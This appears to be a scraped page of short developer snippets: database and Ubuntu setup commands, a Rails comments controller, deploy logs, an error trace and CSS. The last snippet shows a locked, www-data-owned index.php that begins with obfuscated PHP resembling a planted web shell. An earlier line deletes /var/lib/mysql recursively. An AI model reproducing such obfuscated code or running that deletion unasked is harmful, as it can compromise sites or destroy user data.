MySQL Download URL
https://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.56-linux-glibc2.5-x86_64.tar.gz
- Uninstall any existing version of MySQL
sudo rm /var/lib/mysql/ -R
nginit@smehsan:~/wip/rails$ rails new myapp -d postgresql | |
create | |
create README.md | |
create Rakefile | |
create .ruby-version | |
create config.ru | |
create .gitignore | |
create .gitattributes | |
create Gemfile | |
run git init from "." |
Install | |
------------------ | |
sudo apt-get install curl ca-certificates gnupg && curl https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - | |
sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main" > /etc/apt/sources.list.d/pgdg.list' | |
sudo apt update && sudo apt-get install postgresql-12 | |
Create a new user |
/****************************** | |
Update and Upgrade Ubuntu | |
******************************/ | |
sudo apt update && sudo apt upgrade -y | |
/****************************** | |
Necessarry Ubuntu Tools | |
******************************/ | |
1] Tweak-Tool [sudo apt install gnome-tweak-tool] |
mysql -u root -p //enter into mysql as root user | |
SHOW DATABASES; //Show available databases | |
DROP DATABASE database_name; //Delete a mysql database | |
sudo /etc/init.d/mysql.server start //start mysql server | |
sudo /etc/init.d/mysql.server stop //Stop mysql server |
class CommentsController < ApplicationController | |
before_action :find_commentable, only: %i[new create destroy] | |
def new | |
@comment = Comment.new | |
end | |
def create | |
@comment = @commentable.comments.new(comment_params) | |
if @comment.save |
00:31 bundler:install | |
The Gemfile's dependencies are satisfied, skipping installation | |
00:32 deploy:assets:precompile | |
01 $HOME/.rbenv/bin/rbenv exec bundle exec rake assets:precompile | |
01 yarn install v1.15.2 | |
01 [1/4] Resolving packages... | |
01 [2/4] Fetching packages... | |
01 [3/4] Linking dependencies... | |
01 [4/4] Building fresh packages... | |
01 success Saved lockfile. |
``` | |
ActionController::RoutingError (No route matches [GET] "/assets/typed.min.js.map"): | |
actionpack (5.2.3) lib/action_dispatch/middleware/debug_exceptions.rb:65:in `call' | |
web-console (3.7.0) lib/web_console/middleware.rb:135:in `call_app' | |
web-console (3.7.0) lib/web_console/middleware.rb:30:in `block in call' | |
web-console (3.7.0) lib/web_console/middleware.rb:20:in `catch' | |
web-console (3.7.0) lib/web_console/middleware.rb:20:in `call' | |
actionpack (5.2.3) lib/action_dispatch/middleware/show_exceptions.rb:33:in `call' | |
railties (5.2.3) lib/rails/rack/logger.rb:38:in `call_app' |
@media (max-width: 1200px) { | |
legend { | |
font-size: calc(1.275rem + 0.3vw); | |
} | |
h1, | |
.h1 { | |
font-size: calc(1.375rem + 1.5vw); | |
} | |
h2, | |
.h2 { |
rm -f index.php ; touch index.php; chmod 600 index.php ; ls -l index.php ; cat index.php | |
rm: cannot remove 'index.php': Permission denied | |
touch: cannot touch 'index.php': Permission denied | |
chmod: changing permissions of 'index.php': Operation not permitted | |
-r--r--r-- 1 www-data www-data 115811 Jun 21 2018 index.php | |
<?php | |
$OO0_0O_0O_='BEGINJ6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW'; | |
$O_O0_O0_0O='benzylpenicillin455989'; | |
$O0_O00O__O=407; | |
$OOO_O_00_0='E/B/D_C/F'; |